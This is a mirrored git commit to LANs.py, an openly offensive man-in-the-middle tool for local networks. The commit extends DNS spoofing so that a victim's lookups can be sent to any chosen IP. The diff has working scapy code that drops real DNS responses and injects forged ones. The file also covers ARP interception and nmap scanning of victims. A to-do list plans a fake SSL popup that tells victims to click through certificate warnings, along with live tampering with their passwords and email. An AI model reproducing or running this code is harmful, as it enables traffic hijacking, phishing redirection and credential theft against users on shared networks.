mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 13:02:20 -07:00
added arbitrary dnsspoof redirection so it does not have to just go to localhost use the -r arg in addition to -dns
This commit is contained in:
parent
65ec44517a
commit
edee001792
2 changed files with 26 additions and 13 deletions
2
.gitignore
vendored
Normal file
2
.gitignore
vendored
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
*.log.txt
|
||||||
|
*.pyc
|
33
LANs.py
33
LANs.py
|
@ -11,6 +11,13 @@ Prerequisites: Linux
|
||||||
twisted
|
twisted
|
||||||
|
|
||||||
Note: This script flushes iptables before and after usage.
|
Note: This script flushes iptables before and after usage.
|
||||||
|
|
||||||
|
To do: Add karma MITM technique
|
||||||
|
Add SSL proxy for self-signed cert, and make the script force a single JS popup saying there's a temporary problem with SSL validation and to just click through
|
||||||
|
Add anticaching (just edit the headers)
|
||||||
|
Replace wget with python requests library
|
||||||
|
Ability to add option which will add a delay, allowing user to modify HTML/email/irc/usernames and passwords on the fly (how much interest is there in this?)
|
||||||
|
|
||||||
'''
|
'''
|
||||||
__author__ = 'Dan McInerney'
|
__author__ = 'Dan McInerney'
|
||||||
__license__ = 'BSD'
|
__license__ = 'BSD'
|
||||||
|
@ -62,6 +69,7 @@ def parse_args():
|
||||||
parser.add_argument("-na", "--nmapaggressive", help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.", action="store_true")
|
parser.add_argument("-na", "--nmapaggressive", help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.", action="store_true")
|
||||||
parser.add_argument("-n", "--nmap", help="Scan the target for open ports prior to starting to sniffing their packets.", action="store_true")
|
parser.add_argument("-n", "--nmap", help="Scan the target for open ports prior to starting to sniffing their packets.", action="store_true")
|
||||||
parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
|
parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
|
||||||
|
parser.add_argument("-r", "--redirectto", help="Must be used with -dns DOMAIN option. Redirects the victim to the IP in this argument when they visit the domain in the -dns DOMAIN option")
|
||||||
parser.add_argument("-rip", "--routerip", help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
|
parser.add_argument("-rip", "--routerip", help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
|
||||||
parser.add_argument("-rmac", "--routermac", help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
|
parser.add_argument("-rmac", "--routermac", help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
|
||||||
parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
|
parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
|
||||||
|
@ -163,10 +171,9 @@ class Parser():
|
||||||
if pkt.haslayer(DNSQR):
|
if pkt.haslayer(DNSQR):
|
||||||
dport = pkt[UDP].dport
|
dport = pkt[UDP].dport
|
||||||
sport = pkt[UDP].sport
|
sport = pkt[UDP].sport
|
||||||
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
|
|
||||||
if dport == 53 or sport == 53:
|
if dport == 53 or sport == 53:
|
||||||
dns_layer = pkt[DNS]
|
dns_layer = pkt[DNS]
|
||||||
self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, localIP, payload)
|
self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, payload)
|
||||||
|
|
||||||
def get_user_agent(self, header_lines):
|
def get_user_agent(self, header_lines):
|
||||||
for h in header_lines:
|
for h in header_lines:
|
||||||
|
@ -686,16 +693,22 @@ class Parser():
|
||||||
logger.write('[!] Decoded:'+decoded+'\n')
|
logger.write('[!] Decoded:'+decoded+'\n')
|
||||||
|
|
||||||
# Spoof DNS for a specific domain to point to your machine
|
# Spoof DNS for a specific domain to point to your machine
|
||||||
def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, localIP, payload):
|
def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, payload):
|
||||||
if self.args.dnsspoof:
|
if self.args.dnsspoof:
|
||||||
if self.args.dnsspoof in dns_layer.qd.qname:
|
if self.args.dnsspoof in dns_layer.qd.qname and not self.args.redirectto:
|
||||||
logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one to '+localIP+'\n')
|
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
|
||||||
|
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, localIP)
|
||||||
|
elif self.args.dnsspoof in dns_layer.qd.qname and self.args.redirectto:
|
||||||
|
self.dnsspoof_actions(dns_layer, IP_src, IP_dst, sport, dport, payload, self.args.redirectto)
|
||||||
|
|
||||||
|
def dnsspoof_actions(self, dns_layer, IP_src, IP_dst, sport, dport, payload, rIP):
|
||||||
|
print G+'[+] DNS request for '+W+self.args.dnsspoof+G+' found; dropping packet and injecting spoofed one redirecting to '+W+rIP
|
||||||
|
logger.write('[+] DNS request for '+self.args.dnsspoof+' found; dropping packet and injecting spoofed one redirecting to '+rIP+'\n')
|
||||||
payload.set_verdict(nfqueue.NF_DROP)
|
payload.set_verdict(nfqueue.NF_DROP)
|
||||||
logger.write('[+] Dropped real DNS response. Injecting the spoofed packet sending victim to '+localIP+'\n')
|
p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=rIP))
|
||||||
p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=localIP))
|
|
||||||
send(p)
|
send(p)
|
||||||
print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof
|
print G+'[!] Sent spoofed packet for '+W+self.args.dnsspoof+G+' to '+W+rIP
|
||||||
logger.write('[!] Sent spoofed packet for '+self.args.dnsspoof+'\n')
|
logger.write('[!] Sent spoofed packet for '+self.args.dnsspoof+' to '+rIP+'\n')
|
||||||
|
|
||||||
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
|
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
|
||||||
class Queued(object):
|
class Queued(object):
|
||||||
|
@ -995,9 +1008,7 @@ def main(args):
|
||||||
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
|
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
|
||||||
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
|
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
|
||||||
split_lines = arpcache.communicate()[0].splitlines()
|
split_lines = arpcache.communicate()[0].splitlines()
|
||||||
print split_lines[1],'\n'
|
|
||||||
arpoutput = split_lines[1].split()
|
arpoutput = split_lines[1].split()
|
||||||
print arpoutput,'\n'
|
|
||||||
routerMAC = arpoutput[2]
|
routerMAC = arpoutput[2]
|
||||||
print "[*] Router MAC: " + routerMAC
|
print "[*] Router MAC: " + routerMAC
|
||||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue